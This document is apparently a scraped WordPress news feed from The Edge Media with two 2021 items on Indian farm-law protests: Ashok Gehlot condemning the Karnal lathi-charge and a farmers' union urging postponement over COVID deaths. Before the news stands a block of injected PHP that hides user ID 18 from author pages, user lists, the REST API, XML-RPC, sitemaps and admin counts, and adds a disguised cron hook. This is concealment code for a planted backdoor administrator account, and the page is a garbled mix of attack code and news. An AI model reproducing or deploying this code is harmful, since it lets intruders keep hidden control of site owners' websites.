add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Ashok Gehlot asks Centre to repeal its three farm laws and apologise to farmers appeared first on The Edge Media.
]]>“The manner in which farmers were attacked in Karnal of Haryana is condemnable. With such brutal actions, an atmosphere is being created to instigate farmers across the country,” Mr Gehlot tweeted.
Around 10 people were injured on Saturday as police allegedly lathi-charged a group of farmers disrupting traffic movement on a national highway while heading towards Karnal to protest against a BJP meeting.
Mr Gehlot said Haryana Chief Minister ML Khattar and Deputy Chief Minister Dushyant Chautala are giving statements that do not make any sense.
He said the Haryana government officials are giving instructions for violent actions against farmers and the entire country is condemning the police lathi-charge at farmers but the Haryana government is taking no action against such officers.
“The Modi government should not test the farmers’ patience and immediately repeal the agricultural laws and apologise to the farmers,” Mr Gehlot said.
Enacted in September last year, the three farm laws have been projected by the Centre as major reforms in the agriculture sector that will remove the middlemen and allow farmers to sell their products anywhere in the country.
The protesting farmers, however, have expressed fears that the legislation would pave the way for eliminating the safety cushion of Minimum Support Price and do away with the mandi system, leaving them at the mercy of big corporates.
The post Ashok Gehlot asks Centre to repeal its three farm laws and apologise to farmers appeared first on The Edge Media.
]]>The post “If farmers keep dying like this who will agitate?” : Bharatiya Kisan Union appeared first on The Edge Media.
]]>Talking to the news agency, ANI Bhopal Singh of Bharatiya Kisan Union (kisan sarkar) said that the protest must be postponed because if the farmers keep dying like this who will agitate. He also added that only if the farmers survive they will be called ‘annadata’. Only if they postpone the protest will they be able to save their lives and their crops. They will carry out the agitation later but the situation is not right currently. “We must be with the naqtions in these difficult times”, he added.
The farmers have been protesting for many months now against the new farm laws introduced by the centre last year.
2 farmers died at Singhu border due to Corona. If farmers keep dying like this who will agitate? So I'd like to request to farmers, that looking at the crisis in the country, we must postpone agitation for the time being: Bhopal Singh, Bharatiya Kisan Union (Kisan Sarkar) spox pic.twitter.com/rZPYZAYbYn
— ANI (@ANI) May 20, 2021
The post “If farmers keep dying like this who will agitate?” : Bharatiya Kisan Union appeared first on The Edge Media.
]]>